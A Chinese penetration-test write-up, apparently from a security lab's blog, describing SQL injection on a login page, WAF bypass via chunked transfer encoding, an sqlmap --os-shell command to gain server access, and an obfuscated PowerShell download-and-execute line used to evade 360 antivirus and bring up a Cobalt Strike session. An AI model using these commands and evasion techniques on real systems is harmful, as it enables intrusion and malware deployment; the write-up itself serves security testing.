渗透测试步骤流程方法(记一次渗透测试过程)
渗透测试步骤流程方法(记一次渗透测试过程)在burp上直接利用chunked-coding-converter插件进行测试,发现分块传输是可行的。简单的来说就是把数据包分成一块一块的传过去,从而来骗过WAF。这里稍微说一下分块传输的原理:在头部加入 Transfer-Encoding: chunked 之后,就代表该报文采用了分块编码。这时,post请求报文中的数据部分需要改为用一系列分块来传输。每个分块包含十六进制的长度值和数据,长度值独占一行,长度不包括它结尾的,也不包括分块数据结尾的,且最后需要用0独占一行表示结束。使用分块后,默认的请求包头数据会增加请求头,告诉服务器将要用分块传输,语句经过拆分,变为零碎的数据包,WAF检测机制就不会认为此语句是一个危险的代码,在分块传输的数据包没有完全传完的时候,服务器是不做任何响应,等到全部传完后,在后台进行完整的语句拼接,带入数据库查询,从而绕过WAF的限制。
收到某某测试任务,然后有了下面这一篇关于分块传输sql注入payload姿势分享以及绕过杀软上线的文章。
在对某个网站进行渗透测试时,发现一个登陆界面,在尝试弱口令无果后,加个单引号发现报错了,按照以往的经验,这个登陆界面大概率是存在注入漏洞的。
尝试利用报错注入,直接获取到数据库名称,这一看注入不就是有了吗(这里构造万能密码进行登录绕过,发现行不通),看看使用sqlmap能不能直接获取到服务器权限。
然而使用sqlmap并没有跑出来注入,不知道是什么情况,这里怀疑是网站对某些关键字符进行过滤拦截了,尝试使用分块传输进行绕过。
这里稍微说一下分块传输的原理:
在头部加入 Transfer-Encoding: chunked 之后,就代表该报文采用了分块编码。这时,post请求报文中的数据部分需要改为用一系列分块来传输。每个分块包含十六进制的长度值和数据,长度值独占一行,长度不包括它结尾的,也不包括分块数据结尾的,且最后需要用0独占一行表示结束。
使用分块后,默认的请求包头数据会增加请求头,告诉服务器将要用分块传输,语句经过拆分,变为零碎的数据包,WAF检测机制就不会认为此语句是一个危险的代码,在分块传输的数据包没有完全传完的时候,服务器是不做任何响应,等到全部传完后,在后台进行完整的语句拼接,带入数据库查询,从而绕过WAF的限制。
简单的来说就是把数据包分成一块一块的传过去,从而来骗过WAF。
在burp上直接利用chunked-coding-converter插件进行测试,发现分块传输是可行的。
那就直接使用sqlmap将流量代理到burp上使用分块传输进行绕过,成功获取到服务器权限:
sqlmap -r sql.txt --proxy=http://127.0.0.1:8080 --level 5 --os-shell --thread 5
已经获取到了服务器权限,经测试发现目标主机可以出网,那就可以直接上线了,在上线之前先查看一下主机进程发现存在360杀毒。
这个时候想上线,肯定是要想办法绕过360的,这里使用CS来生产powershell脚本,对命令进行格式运算符混淆一下来绕过杀软。
&("{1}{0}" -f 'ami' 'who') #执行whoami
powershell.exe -nop -c "&('{1}{0}' -f 'EX' 'I')(&('{1}{0}{2}' -f 'Obje' 'New-' 'ct')('{1}{4}{3}{0}{2}' -f'Clie' 'N' 'nt' 't.Web' 'e')).('{1}{3}{0}{2}' -f 'trin' 'Downl' 'g' 'oadS').Invoke(('{1}{5}{2}{4}{3}{0}' -f 'x' 'xx' 'x' 'xxx' 'xxx' 'xxx'))"
成功绕过杀软上线成功。
关于摘星实验室
摘星实验室是星云博创旗下专职负责技术研究的安全实验室,成立于2020年5月,团队核心成员均具备多年安全研究从业经验。实验室主要致力于攻防技术人员培养、攻防技术研究、安全领域前瞻性技术研究,为公司产品研发、安全项目及客户服务提供强有力的支撑。在技术研究方面,摘星实验室主攻漏洞挖掘及新型攻击,并将重点关注攻击溯源与黑客行为分析;与此同时,实验室还将持续关注对工业互联网领域的技术研究。
实验室成立以来,已通过CNVD/CNNVD累计发布安全漏洞300余个,是CNVD和CNNVD的漏洞挖掘支撑单位,在安全漏洞预警、事件通报处置等方面均得到了行业权威机构的认可。